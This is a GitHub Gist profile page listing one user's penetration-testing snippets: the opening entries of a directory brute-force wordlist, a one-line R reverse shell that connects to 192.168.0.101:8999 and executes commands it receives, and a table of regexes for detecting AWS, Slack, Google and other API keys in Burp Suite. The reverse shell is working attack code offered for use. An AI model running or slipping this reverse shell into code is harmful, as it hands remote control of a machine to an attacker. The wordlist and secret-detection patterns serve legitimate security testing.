Skip to content

Instantly share code, notes, and snippets.

View DaveYesland's full-sized avatar

Dave Yesland DaveYesland

View GitHub Profile
@DaveYesland
DaveYesland / dirbrute.txt
Created April 6, 2019 20:43
List for directory brute forcing.
@
_
0
00
01
02
03
04
05
06
@DaveYesland
DaveYesland / reverse_shell.r
Created April 6, 2019 20:41
Simple reverse shell for R script.
c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)}
@DaveYesland
DaveYesland / API_keys_regex_error_checker.tsv
Last active April 17, 2020 13:12
API key regex for the Burp Suite error checker extension
[0-9a-zA-Z/+]{40} 0 Amazon AWS API Secret High Certain
([^A-Z0-9]|^)(AKIA|A3T|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{12,} 0 AWS API ID Low Certain
(xox(p|b|o|a)-[0-9]{9,12}-[0-9]{9,12}-[0-9]{9,12}-[a-z0-9]{32}) 0 Slack API token High Certain
\bAIza.{35}\b 0 Google API Key High Certain
[0-9]{13,17} 0 Facebook API ID Low Certain
[0-9a-f]{32} 0 Flickr API ID Low Certain
[0-9A-Z]{48} 0 Foursquare API ID Low Certain
R_[0-9a-f]{32} 0 Bitly API Secret High Certain
[0-9A-Z]{48} 0 Foursquare API Secret High Certain
(xox(p|b|o|a)-[0-9]{9,12}-[0-9]{9,12}-[0-9]{9,12}-[a-z0-9]{32}) 0 Slack API token High Certain